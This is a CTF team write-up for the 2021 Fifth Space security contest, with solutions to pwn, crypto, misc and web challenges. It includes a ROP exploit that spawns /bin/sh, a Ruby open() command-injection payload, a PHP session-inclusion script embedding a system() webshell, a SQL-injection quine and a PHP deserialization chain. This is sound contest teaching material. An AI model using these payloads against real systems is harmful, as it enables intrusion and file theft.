2021第五空间大赛WP

2021第三届第五空间网络安全大赛WP

成绩

总榜第十九名,社企组第二名

Pwn

bountyhunter

Ida查看发现栈溢出漏洞,有system,有’/bin/sh’

img

img

Checksec

img

from pwn import *
#p=process('./pwn')
p=remote('139.9.123.168',32548)
elf=ELF('./pwn')
#gdb.attach(p,'b *0x4011AA')
p.sendlineafter('Who are you? What do you want?\n','a'*0x90+'b'*8+p64(0x0000000000401016)+p64(0x000000000040120b)+p64(0x403408)+p64(elf.sym['system']))
p.interactive()

个人信息保护

data_protection

题目分5问。

  1. $n$比较小,factordb上面可以直接找到分解;

  2. $p$已知,而且明文小于$p$。直接模$p$分析,$\varphi(p)=p-1$即可;

  3. 模$p$下给了一个线性方程组,直接解即可;

  4. 前面已经生成了642个随机数,但是部分随机数的具体值未知,需要爆破

这些未知的随机数具体包括:

  • 第1问的$a$和$b$,值介于$p$和$q$,并且$a$和$b$生成的先后顺序不确定;

  • 第2问的$q$,值介于$p$和$p+2^{31}$,还有一位不确定。

已知624个随机数,就可以恢复随机种子,进而求出AES密钥。然后根据题目已知信息尝试解密成明文检验明文是否合法。

  1. 接第4问已知随机种子可以求出DH算法的私钥$x, y$,进而求出DH算法的shared secret $s$。乘以$s$的模逆即可。

这关键就在4.需要科学爆破一下
然后就是附上exp:

e1.py

from Crypto.Util.number import *

with open('out') as f:
s = f.read().splitlines()

c = eval(s[0])
n = eval(s[1])

p = 22186905890293167337018474103
q = 64390888389278700958517837593

e = 65537

d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))

# xiaoMing

e2.py

from Crypto.Util.number import *

with open('out') as f:
s = f.read().splitlines()

c = eval(s[2])
n = eval(s[3])

p = 11616788973244169211540879051135531683500013311175857700532973853592727185033846064980717918194540453710515251945345524986932165003196804187526561468278997

e = 65537

q = n // p

dp = inverse(e, (p-1))
m = pow(c, dp, p)
print(m.bit_length())
print(p.bit_length())
print(long_to_bytes(m))

# 14115102907

e3.sage

with open('out') as f:
s = f.read()
s = s.splitlines()

q = eval(s[4])
A = eval(s[5])
b = eval(s[6])

A = Matrix(Zmod(q), A)
b = vector(Zmod(q), b)

x = A.solve_right(b)
x = ''.join([chr(i) for i in x])
print(x)

# xiaoMing@amail.com

e4.py

import random
from Crypto.Util.number import *
from Crypto.Cipher import AES
from randcrack import RandCrack
import string
import itertools
from tqdm import tqdm
import pickle

with open('out') as f:
s = f.read().splitlines()

c4 = eval(s[7])
c4 = long_to_bytes(c4)

ok_char = string.ascii_letters + string.digits + '._'
ok_char = list(ok_char.encode())

p1 = 22186905890293167337018474103
q1 = 64390888389278700958517837593

n2 = eval(s[3])

p2 = 11616788973244169211540879051135531683500013311175857700532973853592727185033846064980717918194540453710515251945345524986932165003196804187526561468278997

offset2 = n2 // p2 - p2

with open('out') as f:
s = f.read().splitlines()
s = eval(s[5])
s = [x for y in s for x in y]

append_2 = b'\xf1\x0f\xb5\xb5\xae\xf0\x05\x92BWR\xd0>\x91\x0cv\xbc ]\x81'
append_2 = bytes_to_long(append_2)

def my_submit(rc, x, t):
for i in range(t):
rc.submit(x % (1 << 32))
x >>= 32

for a1, b1 in [[p1, q1], [q1, p1]]:
aleft = a1 - 1
while (not isPrime(aleft)):
aleft -= 1
bleft = b1 - 1
while (not isPrime(bleft)):
bleft -= 1
for aa, bb, o2 in tqdm(itertools.product(range(aleft, a1)[::-1], range(bleft, b1)[::-1], range(2))):
rc = RandCrack()
my_submit(rc, aa, 3)
my_submit(rc, bb, 3)
my_submit(rc, append_2, 5)
off2 = 2 * offset2 + o2
my_submit(rc, off2, 1)
for i in s:
rc.submit(i)

key = rc.predict_getrandbits(128)
key = long_to_bytes(key, 16)
cipher = AES.new(key, AES.MODE_ECB)
m = cipher.decrypt(c4)
if (all(x in ok_char for x in m)):
print(m)
print()
print(aa)
print(bb)
print(off2)
exit(0)

# No.123_doge_road

e5.py

from Crypto.Util.number import *
from Crypto.Cipher import AES
from randcrack import RandCrack

aa = 22186905890293167337018474102
bb = 64390888389278700958517837515
off2 = 3288350018

with open('out') as f:
ss = f.read().splitlines()
s = eval(ss[5])
c4 = eval(ss[7])
c4 = long_to_bytes(c4)

s = [x for y in s for x in y]

append_2 = b'\xf1\x0f\xb5\xb5\xae\xf0\x05\x92BWR\xd0>\x91\x0cv\xbc ]\x81'
append_2 = bytes_to_long(append_2)

def my_submit(rc, x, t):
for i in range(t):
rc.submit(x % (1 << 32))
x >>= 32

rc = RandCrack()
my_submit(rc, aa, 3)
my_submit(rc, bb, 3)
my_submit(rc, append_2, 5)
my_submit(rc, off2, 1)
for i in s:
rc.submit(i)

key = rc.predict_getrandbits(128)
key = long_to_bytes(key, 16)
cipher = AES.new(key, AES.MODE_ECB)
m = cipher.decrypt(c4)
print(m)

q, g, h = [eval(x) for x in ss[8].split()]
c1, c2 = [eval(x) for x in ss[9].split()]
gg = rc.predict_randrange(q-1)
print(g == gg)
x = rc.predict_randrange(q-1)
y = rc.predict_randrange(q-1)
s = pow(g, x*y, q)
m5 = c2 * inverse(s, q) % q
print(long_to_bytes(m5))

# Make666GreatAgain_University

finexp.py

from hashlib import sha256

name = b'xiaoMing'

phone = b'14115102907'

mail = b'xiaoMing@amail.com'

address = b'No.123_doge_road'

school = b'Make666GreatAgain_University'

flag = 'flag{'+sha256(name).hexdigest()[:8]+'-'+sha256(phone).hexdigest()[:4]+'-'+sha256(mail).hexdigest()[:4]+'-'+sha256(address).hexdigest()[:4]+'-'+sha256(school).hexdigest()[:12]+'}'

print(flag)
##flag{073fa53e-4246-dd1d-54a0-0c268444ad09}

Crypto

doublesage

模$p$意义下求$x$使得范数$|xA-C|$小
这个问题在一般的实数域内就对应伪逆 pseudoinverse A^{+}
对于方程$Ax=b$,利用伪 逆$A^{+}$,我们可以求得$x=A^{+}b$,这个$x$就是使得$|Ax-b|$最小的那个$x$。
回到问题。上式求转置即为:
$$A^T x^T - C^T$$
所以只需要求得$A^T$的伪逆,再乘上$C^T$即可得到$x$的值。
然后可能单次尝试不能通过检验,需要多次尝试,就能通过检验。
exp:

from pwn import *
from sage.all import *


def gao_problem(p, p, rows):
p.recvuntil('Matrix A')
p.recvline()

def get_vector(p):
p.recvuntil('[')
s = p.recvuntil(']')[:-1]
return [int(x) for x in s.split()]

A = []

for i in range(rows):
s = get_vector(p)
A.append(s)

p.recvline()
b = p.recvline()
b = get_vector(p)

Zp = Zmod(p)

A = Matrix(Zp, A)
b = vector(Zp, b)

x = A.transpose().pseudoinverse() * b

print(x * A)
print(b)
x = str(x).replace('(', '[').replace(')', ']')
p.sendline(x)
p.recvuntil('The norm of vector x*A-C is')
res = p.recvline()
if (b'True' in res):
print('Pass chall {}'.format(p))
return True
else:
print('Fail chall {}'.format(p))
return False

while True:
#p = process(['sage', 'another.sage'])
p = remote('122.112.210.186',51436)
if gao_problem(p, 29, 5) and gao_problem(p, 227, 15):
p.interactive()
else:
p.close()

当然,由于该需要exp需要sage.all库,因此我们需要在sagemath上或者也可以用cocalc在线跑一下。

secrets

题目需要求32位的$p_1, p_2, p_3$使得
$$a_1 p_2 p_3 + a_2 p_1 p_3^2 + a_3 p_1 p_2^2 p_3 \equiv n \ (\bmod p)$$


格基规约。
首先我们要让某个线性组合变成一个小值。我们看上了$p_2 p_3$这一项。
于是同余式两边乘上$a_1^{-1}$:
$$p_2 p_3 + a_1^{-1} a_2 p_1 p_3^2 + a_1^{-1} a_3 p_1 p_2^2 p_3 \equiv a_1^{-1} n \ (\bmod p)$$
写成等式:
$$p_2 p_3 + a_1^{-1} a_2 p_1 p_3^2 + a_1^{-1} a_3 p_1 p_2^2 p_3 = a_1^{-1} n + kp$$
移项:
$$p_2 p_3 = a_1^{-1} n - a_1^{-1} a_2 p_1 p_3^2 - a_1^{-1} a_3 p_1 p_2^2 p_3 + kp$$
便有以下格:
$$\begin{bmatrix}
1 & p_1 p_3^2 & p_1 p_2^2 p_3 & k
\end{bmatrix}\begin{bmatrix}
n & 1 & 0 & 0 & 0 \
-a_1^{-1} & 0 & 1 & 0 & 0 \
-a_1^{-1} a_2 & 0 & 0 & 1 & 0 \
p & 0 & 0 & 0 & 1 \
\end{bmatrix}=\begin{bmatrix}
p_2 p_3 & 1 & p_1 p_3^2 & p_1 p_2^2 p_3 & k
\end{bmatrix}$$
右乘一个平衡的对角阵之后用LLL就可以求出$(p_2 p_3, p_1 p_3^2, p_1 p_2^2)$的值,从而求出$(p_1, p_2, p_3)$
然后求出AES密钥并且解密。
具体解题思路:

用sage求出p2p3 p1p3^2 p1p2^2p3

sage

p = 11679673793673506009014468475228106603081916890883486457896646429223178797758973615616012286356332520190126233017400893207593826175343702713785184522338787
a1, a2, a3 = [5756069086948558901324622226613545219570714553931419680091355546860288277733528684484679434350356392958470286317659356659575912829589095426942951584457183, 5460203359401780189277241557890921761977539358779669504676049669202545991278492450421493921244274437911819362776150796839590850454405186576054578519831639, 5733215264737754744921226160962972135334918697201206464452013241762591234783172108441892372068592924627684842613967215477538096712289370260146873046574651]
e = [[0, 1, 1], [1, 0, 2], [1, 2, 1]]
n = 954454001962944951493670572521755832608771383398769255721246850106731347064788730658352434771777089459134929238824940227065118832204119439793656116218597
c = '19bc72bc5f28141419994d237c84f314d9343e775722521b1eb369cb4fb5fa85'

c1 = inverse_mod(a1, p) * n
c2 = -a2 * inverse_mod(a1, p) % p
c3 = -a3 * inverse_mod(a1, p) % p
c4 = p

weights = [2^(512-64), 2^512, 2^(512-96), 2^(512-128), 1]

M = Matrix(ZZ, [[c1, 1, 0, 0, 0],
[c2, 0, 1, 0, 0],
[c3, 0, 0, 1, 0],
[c4, 0, 0, 0, 1]]) * diagonal_matrix(weights)

v = M.LLL()[0]

p2p3 = v[0] // weights[0]
p1p32 = v[2] // weights[2]
p1p22p3 = v[3] // weights[3]
print(p2p3)
print(p1p32)
print(p1p22p3)

factordb查分解 弄出p1 p2 p3具体值

from z3 import *

p1, p2, p3 = Ints('p1 p2 p3')
sol = Solver()
sol.add(p2 * p3 == 13661139160116902777)
sol.add(p1 * p3 ** 2 == 29300368481521898734987896109)
sol.add(p1 * p2 ** 2 * p3 == 145206870370195317357010045446286801073)

if (sol.check() == sat):
print(sol.model())
else:
print('GG simida')

把p1 p2 p3具体值填到finexp.py得到最后的flag

finexp.py

import random, hashlib
from Crypto.Util.number import *
from Crypto.Cipher import AES

p1 = 2607953941
p2 = 4075682389
p3 = 3351865493
secrets = [p1, p2, p3]

c = '19bc72bc5f28141419994d237c84f314d9343e775722521b1eb369cb4fb5fa85'
c = bytes.fromhex(c)

key = hashlib.sha256(str(secrets).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(c)
print(flag)

# flag{f6c279906556477981c0698e6239982e}

signin

题目给出$n=pq$以及$x = (p \oplus q) \bmod 2^{400}$,需要求n的分解


RSA+xor,从低位到高位枚举分析。
也就是依次模$2^1, 2^2, \ldots, 2^{400}$进行分析。
每次枚举$p, q$的高位并且利用$n$和$x$进行验算。
这样到400位,就可以求出若干$p, q$的低400位。
然后对于每个可能的低位$p$,构造多项式
$$f(x) = 2^{400} x + p$$
并用Coppersmith small root求解$x$,进而得到$p$,也就得到了$n=pq$的分解
之后就算得解密指数$d$,解密密文即可。

e1.py

from sage.all import *
from tqdm import tqdm

c = 51527129112041727084653138724362414261275943766050564614480874091504860204252606590600308110384082623259378144308474054746140923358753034723604762350226880256680349452009792177706794254189892857145865023696386031044387376465031791954744691766962599322069213009628794080376529614779412009851632855178036285523
e = 65537
n = 116652897843293883441819903375596603379518724751574619124014296798496676038791377773876686025057284152512331129032274361942198246462102132225928556778732123779685850832525256744533855512548226749675828320075447142642844219402725358384766251737244370235962898005154181991761923091468959986835373399473596976197
x = 471475951883841996380755394497425485938102193317354065361151516006175011110693734273770491686812217784012615381122407908

pre_sol = [(1, 1)]

for i in tqdm(range(1, 400)):
cur_pow = (1 << (i+1))
cur_sol = []
for pre_p, pre_q in pre_sol:
for s in range(2):
for t in range(2):
cur_p = pre_p + s * (1 << i)
cur_q = pre_q + t * (1 << i)
if (cur_p ^ cur_q == x % cur_pow and cur_p * cur_q % cur_pow == n % cur_pow):
cur_sol.append((cur_p, cur_q))
pre_sol = cur_sol

F, x = PolynomialRing(Zmod(n), name='x').objgen()
print(F)
print(x)
for p, q in tqdm(cur_sol):
f = x * 2 ** 400 + p
f = f.monic()
sol = f.small_roots(X = 2 ** 112, beta = 0.4)
if (sol != []):
print(sol[0] * 2 ** 400 + p)
break

e2.py

from Crypto.Util.number import *

p = 12172529005716175430901283903834642726755657633565845783363589139718811888175215203727237853050161503063968274652006993195449591640852850585439495172789713

c = 51527129112041727084653138724362414261275943766050564614480874091504860204252606590600308110384082623259378144308474054746140923358753034723604762350226880256680349452009792177706794254189892857145865023696386031044387376465031791954744691766962599322069213009628794080376529614779412009851632855178036285523
e = 65537
n = 116652897843293883441819903375596603379518724751574619124014296798496676038791377773876686025057284152512331129032274361942198246462102132225928556778732123779685850832525256744533855512548226749675828320075447142642844219402725358384766251737244370235962898005154181991761923091468959986835373399473596976197

q = n // p

d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))
##flag{f092l9er-hgmj-lw5q-5d52-hwayzk6n5joj}

ecc

直接梭。。。

p = 146808027458411567
A = 46056180
B = 2316783294673
E = EllipticCurve(GF(p),[A,B])
P=E(119851377153561800 , 50725039619018388)
Q=E (22306318711744209 , 111808951703508717)

print(discrete_log(Q,P,operation='+'))
#13566003730592612

用题目给的代码梭。。。

p = 1256438680873352167711863680253958927079458741172412327087203   
A = 377999945830334462584412960368612
B = 604811648267717218711247799143415167229480
E = EllipticCurve(GF(p),[A,B])
P=E(550637390822762334900354060650869238926454800955557622817950, 700751312208881169841494663466728684704743091638451132521079)
Q=E(1152079922659509908913443110457333432642379532625238229329830 ,819973744403969324837069647827669815566569448190043645544592)

primes = [2,5,7,27,212117,302426983]
dlogs = []
for fac in primes:
t = int(int(E.order()) / int(fac))
dlog = discrete_log(t*Q,t*P,operation="+")
dlogs += [dlog]
print("factor: "+str(fac)+", Discrete Log: "+str(dlog))
#16093767336603949

可以发现曲线的阶和模数是相同的,采用smart’s attack
https://wstein.org/edu/2010/414/projects/novotney.pdf paper有代码。

def HenselLift(P,p,prec):
E = P.curve()
Eq = E.change_ring(QQ)
Ep = Eq.change_ring(Qp(p,prec))
x_P,y_P = P.xy()
x_lift = ZZ(x_P)
y_lift = ZZ(y_P)
x, y, a1, a2, a3, a4, a6 = var('x,y,a1,a2,a3,a4,a6')
f(a1,a2,a3,a4,a6,x,y) = y^2 + a1*x*y + a3*y - x^3 - a2*x^2 - a4*x - a6
g(y) = f(ZZ(Eq.a1()),ZZ(Eq.a2()),ZZ(Eq.a3()),ZZ(Eq.a4()),ZZ(Eq.a6()),ZZ(x_P),y)
gDiff = g.diff()
for i in range(1,prec):
uInv = ZZ(gDiff(y=y_lift))
u = uInv.inverse_mod(p^i)
y_lift = y_lift - u*g(y_lift)
y_lift = ZZ(Mod(y_lift,p^(i+1)))
y_lift = y_lift+O(p^prec)
return Ep([x_lift,y_lift])

def SmartAttack(P,Q,p,prec):
E = P.curve()
Eqq = E.change_ring(QQ)
Eqp = Eqq.change_ring(Qp(p,prec))
P_Qp = HenselLift(P,p,prec)
Q_Qp = HenselLift(Q,p,prec)
p_times_P = p*P_Qp
p_times_Q=p*Q_Qp
x_P,y_P = p_times_P.xy()
x_Q,y_Q = p_times_Q.xy()
phi_P = -(x_P/y_P)
phi_Q = -(x_Q/y_Q)
k = phi_Q/phi_P
k = Mod(k,p)
return k
p = 0xd3ceec4c84af8fa5f3e9af91e00cabacaaaecec3da619400e29a25abececfdc9bd678e2708a58acb1bd15370acc39c596807dab6229dca11fd3a217510258d1b
A = 0x95fc77eb3119991a0022168c83eee7178e6c3eeaf75e0fdf1853b8ef4cb97a9058c271ee193b8b27938a07052f918c35eccb027b0b168b4e2566b247b91dc07
B = 0x926b0e42376d112ca971569a8d3b3eda12172dfb4929aea13da7f10fb81f3b96bf1e28b4a396a1fcf38d80b463582e45d06a548e0dc0d567fc668bd119c346b2
E = EllipticCurve(GF(p),[A,B])

P=E(10121571443191913072732572831490534620810835306892634555532657696255506898960536955568544782337611042739846570602400973952350443413585203452769205144937861 , 8425218582467077730409837945083571362745388328043930511865174847436798990397124804357982565055918658197831123970115905304092351218676660067914209199149610)
Q=E(964864009142237137341389653756165935542611153576641370639729304570649749004810980672415306977194223081235401355646820597987366171212332294914445469010927 , 5162185780511783278449342529269970453734248460302908455520831950343371147566682530583160574217543701164101226640565768860451999819324219344705421407572537)

SmartAttack(P,Q,p,8)

Misc

签到题

flag{welcometo5space}

alpha10

附件得到一个data文件,用foremost分解得到两张图片。00001404.jpg和00001537.png

双图考虑进行盲水印,并且根据题目,设置alpha为10

python3 bwmforpy3.py decode 00001537.png 00001404.jpg flag.png --alpha 10

得到:flag.png

解得图片

flag{XqAe3QzK2ehD5fWv8jfBitPqHUw0}

Web

PNG图片转换器

考点:Ruby open rce

文章:https://blog.heroku.com/identifying-ruby-ftp-cve

文章中提供了一种命令执行的方式

/convert路由刚好满足了条件,直接利用即可。不过要注意的是要以.png结尾,这里可以直接把内容输入到aatao.png;不能用 / 和 .. 不过可以用Linux下的环境变量构造出来

读取根目录文件内容|ls+`echo+$PATH|cut+-c+1`+>aatao.png接着读取aatao.png内容,base64解码即可

接着读取/FLA9_KywXAv78LbopbpBDuWsm的内容

查看aatao.png的内容

EasyCleanup

考点:session文件包含

日常考点,直接上脚本

import io
import requests
import threading

sess_id = 'Atao'

def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 128)
session.post(url='http://114.115.134.72:32770/',
data={'PHP_SESSION_UPLOAD_PROGRESS': 'aaaaasdasdasd<?php system("cat /flag_is_here_not_are_but_you_find")?>'},
files={'file': ('atao.txt',f)},
cookies={'PHPSESSID': sess_id}
)

if __name__=="__main__":
event = threading.Event()
session = requests.session()
for i in range(1,80):
threading.Thread(target=write,args=(session,)).start()

接着访问:http://114.115.134.72:32770/?file=/tmp/sess_Atao即可

yet_another_mysql_injection

考点:构造一个select返回的内容与$_POST[‘password’]相同即可

参考文章:https://www.shysecurity.com/post/20140705-SQLi-Quine

这里俺是模仿出来的文章的Payload写的

'union/**/select/**/REPLACE(REPLACE('"union/**/select/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/atao#',CHAR(34),CHAR(39)),CHAR(94),'"union/**/select/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/atao#')AS/**/atao#

主要是利用REPLACE替换函数将内容换成来完成**$_POST[‘password’]==$row[‘password’]**

"union/**/select/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/atao#

第一次REPLACE
'union/**/select/**/REPLACE(REPLACE('^',CHAR(34),CHAR(39)),CHAR(94),'^')AS/**/atao#

第二次REPLACE
'union/**/select/**/REPLACE(REPLACE('"union/**/select/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/atao#',CHAR(34),CHAR(39)),CHAR(94),'"union/**/select/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/atao#')AS/**/atao#

WebFTP

找源码:https://github.com/wifeat/WebFTP

flag在phpinfo中有,感觉是非预期了

pklovecloud

考点:构造POP链

<?php

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct($cinder){
$this->nova = &$this->neutron;
$this->cinder = $cinder;
}
}

class ace
{
public $filename = "flag.php";
public $openstack;
public $docker;
function __construct($docker){
$this->docker = $docker;
}
}

echo urlencode(serialize(new acp(new ace(serialize(new acp(""))))));

访问:view-source:http://122.112.141.64:45852/?pks=O%3A3%3A”acp”%3A3%3A{s%3A9%3A”*cinder”%3BO%3A3%3A”ace”%3A3%3A{s%3A8%3A”filename”%3Bs%3A8%3A”flag.php”%3Bs%3A9%3A”openstack”%3BN%3Bs%3A6%3A”docker”%3Bs%3A68%3A”O%3A3%3A”acp”%3A3%3A{s%3A9%3A”*cinder”%3Bs%3A0%3A””%3Bs%3A7%3A”neutron”%3BN%3Bs%3A4%3A”nova”%3BR%3A3%3B}”%3B}s%3A7%3A”neutron”%3BN%3Bs%3A4%3A”nova”%3BR%3A6%3B}

2021第五空间大赛WP

https://wp.n03tack.top/posts/56002/

作者

n03tAck

发布于

2021-09-17

更新于

2021-09-18

许可协议


:D 一言句子获取中...